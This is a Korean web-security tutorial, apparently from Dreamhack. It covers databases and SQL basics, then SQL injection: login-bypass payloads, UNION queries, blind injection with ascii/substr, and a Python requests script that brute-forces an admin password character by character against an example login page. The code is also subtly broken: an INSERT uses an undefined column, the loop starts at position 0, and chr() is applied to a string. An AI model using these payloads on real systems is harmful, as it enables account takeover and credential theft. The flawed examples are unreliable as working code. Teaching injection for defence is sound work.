컴퓨터는 정보를 기록하기 위해 데이터베이스 (Database)를 사용한다. 그리고 데이터베이스를 관리하는 애플리케이션을 DataBase Management System (DBMS)이라고 한다.
웹 서버는 데이터베이스를 사용하여 이용자의 요청에 맞게 회원 정보와 포험 글을 저장하고 조회, 수정한다. 다수의 사람들이 데이터를 생성하고, 참조하고, 수정하는 웹 서버의 특수한 환경에 가장 적합한 자료구조로 채택된 것이 데이터베이스이며, 최근 웹 서비스에는 거의 필수적으로 포함되어야 한다.
웹 서비스는 데이터베이스에 정보를 저장하고, 이를 관리하기 위해 DataBase Management System (DBMS)를 사용한다. DBMS는 데이터베이스에 새로운 정보를 기록하거나, 기록된 내용을 수정, 삭제하는 역할을 한다. DBMS는 다수의 사람이 동시에 데이터베이스에 접근할 수 있고, 웹 서비스의 검색 기능과 같이 복잡한 요구사항을 만족하는 데이터를 조회할 수 있다는 특징이 있다.
DBMS는 크게 관계형과 비관계형을 기준으로 분류하며, 다양한 종류의 DBMS가 존재한다. 아래는 각 종류별 대표적인 DBMS이다.
Relational (관계형) : MySQL, MariaDB, PostgreSQL, SQLiteNon-Relational (비관계형) : MongoDB, CouchDB, Redis두 DBMS의 가장 큰 차이로, 관계형은 행과 열의 집합인 테이블 형식으로 데이터를 저장한다. 반대로 비관계형은 테이블 형식이 아닌 키-값 (key-Value) 형태로 값을 저장한다.
Relational DataBase Management System (RDBMS, 관계형 RDBMS)는 행(Row)과 열(Column)의 집합으로 구성된 테이블의 묶음 형식이며, 테이블 형식의 데이터를 조작할 수 있는 관계 연산자를 제공한다. RDBMS에서 관계 연산자는 Structured Query Language (SQL)라는 쿼리 언어를 사용하고, 쿼리(데이터베이스에 정보를 요청하는 일)를 통해 테이블 형식의 데이터를 조작한다.
Structured Query Language (SQL)는 RDBMS의 데이터를 정의하고 질의, 수정 등을 하기 위해 고안된 언어이다. SQL은 구조화된 형태를 가지는 언어로 웹 어플리케이션이 DBMS와 상호작용할 때 사용된다. SQL은 사용 목적과 행위에 따라 다양한 구조가 존재하며 대표적으로 아래와 같이 구분된다.
DDL (Data Definition Language): 데이터를 정의하기 위한 언어이다. 데이터를 저장하기 위한 스키마, 데이터베이스의 생성/수정/삭제 등의 행위를 수행한다.DML (Data Manipulation Language): 데이터를 조작하기 위한 언어이다. 실제 데이터베이스 내에 존재하는 데이터에 대해 조회/저장/수정/삭제 등의 행위를 수행한다.DCL (Data Control Language): 데이터베이스의 접근 권한 등의 설정을 하기 위한 언어이다. 데이터베이스 내에 이용자의 권한을 부여하기 위한GRANT와 권한을 박탈하는REVOKE가 대표적이다.
웹 어플리케이션은 SQL을 사용해서 DBMS와 상호작용을 하며 데이터를 관리한다. RDBMS에서 사용하는 기본적인 구조는 데이터베이스 → 테이블 → 데이터 구조 이다. 데이터를 다루기 위해 데이터베이스와 테이블을 생성해야 하며, 이때 DDL을 사용해야 한다. DDL의 CREATE 명령을 사용해 새로운 데이터베이스 또는 테이블을 생성할 수 있다.
예를 들어 Dreamhack이라는 데이터베이스를 생성한다고 하자. 아래는 쿼리문이다.
CREATE DATABASE Dreamhack;
아래는 앞서 생성한 데이터베이스에 Board 테이블을 생성하는 쿼리문이다.
USE Dreamhack;
# Board 이름의 테이블 생성
CREATE TABLE Board(
idx INT AUTO_INCREMENT,
boardTitle VARCHAR(100) NOT NULL,
boardContent VARCHAR(2000) NOT NULL,
PRIMARY KEY(idx)
);
생성된 테이블에 데이터를 추가하기 위해 DML을 사용한다. 다음은 새로운 데이터를 생성하는 INSERT, 데이터를 조작하는 SELECT, 그리고 데이터를 수정하는 UPDATE의 예시이다.
아래는 Board 테이블에 데이터를 삽입하는 쿼리문이다.
INSERT INTO
Board(boardTitle, boardContent, createdDate)
Values(
'Hello',
'World !',
Now()
);
아래는 Board 테이블의 데이터를 조회하는 쿼리문이다.
SELECT
boardTitle, boardContent
FROM
Board
Where
idx=1;
아래는 Board 테이블의 열(Column) 값을 변경하는 쿼리문이다.
UPDATE Board SET boardContent='DreamHack!'
Where idx=1;
DBMS에서 관리하는 데이터베이스에는 회원 계정, 비밀글과 같이 민감한 정보가 포함되어 있을 수 있다. 공격자는 데이터베이스 파일 탈취, SQL Injection 공격 등으로 해당 정보를 확보하고 악용하여 금전적인 이득을 얻을 수 있다. 따라서 임의 정보 소유자 이외의 이용자에게 해당 정보가 노출되지 않도록 해야 한다.
SQL Injection 기법은 DBMS에서 사용하는 쿼리를 임의로 조작해 데이터베이스의 정보를 획득하는 것이다. 여기서 인젝션 (Injection)이란 '주입'이라는 의미를 가진 영단어로, 인젝션 공격은 이용자의 입력 값이 애플리케이션의 처리 과정에서 구조나 문법적인 데이터로 해석되어 발생하는 취약점을 의미한다. 즉, 이용자가 악의적인 입력 값을 주입해 의도하지 않은 행위를 일으키는 것을 말한다.
예를 들어, USER가 로그인을 하기 위해 "아이디가 User이고, 비밀번호가 Password인 계정으로 로그인하겠습니다." 요청을 보내면 DBMS는 이에 해당하는 정보를 찾고 로그인 성공 여부를 결정한다. 그러나 만약 USER가 "아이디가 admin인 계정으로 로그인하겠습니다." 요청을 보내면 DBMS는 비밀번호 일치 여부를 검사하지 않고, 아이디가 admin인 계정을 조회한 후 이용자에게 로그인 결과를 반환한다. 이와 같이 DBMS에서 사용하는 질의 구문인 SQL을 삽입하는 공격을 SQL Injection이라고 한다.
SQL은 DBMS에 데이터를 질의하는 언어이다. 웹 서비스는 이용자의 입력을 SQL 구문에 포함해 요청하는 경우가 있다. 예를 들어, 로그인 시에 ID/PW를 포함하거나, 게시글의 제목과 내용을 SQL 구문에 포함한다.
아래의 코드는 로그인 할 때 애플리케이션이 DBMS에 질의하는 예시 쿼리이다. 쿼리문을 살펴보면, 이용자가 입력한 "dreamhack"과 "password" 문자열을 SQL 구문에 포함하는 것을 확인할 수 있다. 코드를 해석하면, DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 dreamhack이고, 비밀번호가 password인 데이터를 조회한다는 것이다.
SELECT : 조회 명령어* : 테이블의 모든 열(Column) 조회FROM accounts : 'accounts' 테이블에서 데이터를 조회할 것이라고 지정WHERE user_id='dreamhack' and user_pw='password' : user_id 컬럼이 dreamhack이고, user_pw 컬럼이 password인 데이터로 범위 지정SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'
이렇게 이용자가 SQL 구문에 임의 문자열을 삽입하는 행위를 SQL Injection이라고 한다. SQL Injection이 발생하면 조작된 쿼리로 인증을 우회하거나, 데이터베이스의 정보를 유출할 수 있다.
아래의 코드는 SQL Injection으로 조작한 쿼리문의 예시이다. 쿼리를 살펴보면, user_pw 조건문이 사라진 것을 확인할 수 있다. 코드를 해석하면, DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 admin인 데이터를 조회한다는 것이다.
WHERE user_id='admin' : user_id 컬럼이 admin인 데이터로 범위 지정SELECT * FROM accounts WHERE user_id='admin'
조작한 쿼리를 통해 질의하면 DBMS는 ID가 admin인 계정의 비밀번호를 비교하지 않고 해당 계정의 정보를 반환하기 때문에 이용자는 admin 계정으로 로그인할 수 있다.
간단한 실습 모듈을 통해 SQL Injection이 실제로 어떻게 발생하는지 알아볼 수 있다. 실습 모듈의 목표는 쿼리 질의를 통해 admin 결과를 반환하는 것이다. SQL Injection 공격에서 제일 중요한 것은 이용자의 입력 값이 SQL 구문으로 해석되도록 해야 한다. 실습 모듈에서 사용하는 쿼리문의 경우, 이용자의 입력 값을 문자열로 나타내기 위해 ' 문자를 사용하는 것을 볼 수 있다.
아래는 비밀번호를 입력하지 않았을 때 생성되는 쿼리문이다. 쿼리문을 살펴보면 두 개의 조건으로 나눠볼 수 있다. 첫 번째 조건은 uid가 "admin"인 데이터, 두 번째 조건은 이전의 식이 참(True)이고, upw가 없는 경우이다. 첫 번째 조건은 admin 결과를 반환하고, 두 번째 조건은 아무런 결과도 반환하지 않는다. 다시 말해, uid가 "admin"인 데이터를 반환하기 때문에 관리자 계정으로 로그인할 수 있다.
SELECT * FROM user_table WHERE uid='admin' or '1' and upw='';
이외에도 주석(--, #, /**/)을 사용하는 등 다양한 방법으로 SQL Injection을 시도할 수 있다.
SELECT * FROM user_table WHERE uid='admin'-- ' and upw='';
위의 쿼리문을 이용해서 작성하면 아래와 같이 작성할 수 있다.
SELECT upw FROM user_table WHERE uid = 'admin'
그러나 실습 창에서는 SELECT uid로 고정되어 있기 때문에, 두 개의 쿼리문을 사용하는 UNION 구문을 사용하면 된다.
SELECT uid FROM user_table WHERE uid='admin' UNION SELECT upw FROM user_table WHERE uid = 'admin'--
UNION에 대한 설명은 아래의 링크를 참고하도록 하자.
앞서 설명한 SQL Injection을 통해 의도하지 않은 결과를 반환해 인증을 우회하는 것을 실습했다. 해당 공격은 인증 우회 이외에도 데이터베이스의 데이터를 알아낼 수 있다. 이때 사용할 수 있느 공격 기법으로 Blind SQL Injection이 있다. 해당 공격 기법은 스무고개 게임과 유사한 방식으로 데이터를 알아낼 수 있다.
아래의 예시는 계정 정보를 탈취한다고 가정했을 때이다.
- Question #1. dreamhack 계정의 비밀번호 첫 번째 글자는 'x' 인가요?
Answer. 아닙니다- Question #2. dreamhack 계정의 비밀번호 첫 번째 글자는 'p' 인가요?
Answer. 맞습니다 (첫 번째 글자 =p)- Question #3. dreamhack 계정의 비밀번호 두 번째 글자는 'y' 인가요?
Answer. 아닙니다.- Question #4. dreamhack 계정의 비밀번호 두 번째 글자는 'a'인가요?
Answer. 맞습니다. (두 번째 글자 =a)
위와 같은 형태로 DBMS가 답변 가능한 형태로 질문하면서 dreamhack 계정의 비밀번호인 password를 알아낼 수 있다. 이처럼 질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 결과로 데이터를 획득하는 공격 기법을 Blind SQL Injection라고 한다.
가장 아래 쪽에 적힌 코드는 Blind SQL Injection 공격 시에 사용할 수 있는 쿼리이다. 쿼리를 살펴보면, 세 개의 조건이 있는 것을 확인할 수 있다. 조건을 살펴보기 전에 ascii와 substr 함수에 대해서 알아보자.
전달된 문자를 아스키 형태로 반환하는 함수이다. 예를 들어, ascii('a')를 실행하면 'a' 문자의 아스키 값인 97을 반환한다.
substr 함수에 전달되는 인자와 예시는 다음과 같다. 해당 함수는 문자열에서 지정한 위치부터 길이까지의 값을 가져온다.
substr(string, position, length)
substr('ABCD', 1, 1) = 'A'
substr('ABCD', 2, 2) = 'BC'
공격 쿼리문의 두 번째 조건을 살펴보면, upw의 첫번째 값을 아스키 형태로 변환한 값이 114('r') 또는 115('s')인지 질의한다. 질의 결과는 로그인 성공 여부로 참/거짓을 판단할 수 있다. 만약 로그인이 실패할 경우 첫 번째 문자가 'r'이 아님을 의미한다. 이처럼 쿼리문의 반환 결과를 통해 admin 계정의 비밀번호를 획득할 수 있다.
# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
# 두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # Tru
Blind SQL Injection은 한 바이트씩 비교하여 공격하는 방식이기 때문에 다른 공격에 비해 많은 시간을 들여야 한다. 이러한 문제를 해결하기 위해서는 공격을 자동화는 스크립트를 작성하는 방법이 있다. 공격 스크립트를 작성하기에 앞서 유용한 라이브러리를 알아보자.
Python은 HTTP 통신을 위한 다양한 모듈이 존재하는데, 대표적으로 requests 모듈이 있다. 해당 모듈은 다양한 메소드를 사용해 HTTP 요청을 보낼 수 있으며 응답 또한 확인할 수 있다.
아래의 코드는 requests 모듈을 통해 HTTP의 GET 메소드 통신을 하는 예제 코드이다. requests.get은 GET 메소드를 사용해 HTTP 요청을 보내는 함수로, URL과 Header, Parameter와 함께 요청을 전송할 수 있다.
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
'test': 1,
}
for i in range(1, 5):
c = requests.get(url + str(i), headers=headers, params=params)
print(c.request.url)
print(c.text)
아래의 코드는 HTTP의 POST 메소드 통신을 하는 예제 코드이다. requests.post는 POST 메소드를 사용해 HTTP 요청을 보내는 함수로 URL과 Header, Body와 함께 요청을 전송할 수 있다.
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
'test': 1,
}
for i in range(1, 5):
c = requests.post(url + str(i), headers=headers, data=data)
print(c.text)
GET, POST 메소드 이외에도 다양한 메소드를 사용해 요청을 전송할 수 있으며, 더욱 자세한 기능은 아래의 공식 문서를 참고하면 된다.
앞서 다룬 예제에서 Blind SQL Injection을 시도한다고 가정하자. 공격하기에 앞서, 아스키 범위 중 이용자가 입력할 수 있는 모든 문자의 범위를 지정해야 한다. 예를 들어, 비밀번호의 경우 알파벳과 숫자 그리고 특수 문자로 이루어진다. 이는 아스키 범위로 나타내면 32부터 126까지의 모든 문자이다.
위를 고려해 작성한 스크립트는 아래와 같다. 아래의 코드를 살펴보면, 비밀번호에 포함될 수 있는 문자를 string 모듈을 사용해 생성하고, 한 바이트씩 모든 문자를 비교하는 반복문을 작성한다. 반복문 실행 중, 반환 결과가 참일 경우에는 페이지에 표시되는 "Login success" 문자열을 찾고, 해당 결과를 반환한 문자를 password 변수에 저장한다. 반복문을 마치면 "admin" 계정의 비밀번호를 알아낼 수 있다.
#!/usr/bin/python3
import requests
import string
# example URL
url = 'http://example.com/login'
params = {
'uid': '',
'upw': ''
}
#abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
tc = string.ascii_letters + string.digits + string.punctuation
# 사용할 SQL Injection 쿼리
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
# 비밀번호 길이는 20자 이하라 가정
for idx in range(0, 20):
for ch in tc:
# query를 이용하여 Blind SQL Injection 시도
params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
c = requests.get(url, params=params)
print(c.request.url)
# 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장
if c.text.find("Login success") != -1:
password += chr(ch)
break
print(f"Password is {password}")
다음은 예제 코드의 실행 결과이다.
$ python3 bsqli.py
http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D97--&upw=
http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D98--&upw=
http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D99--&upw=
http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D100--&upw=
http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D101--&upw=
http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D102--&upw=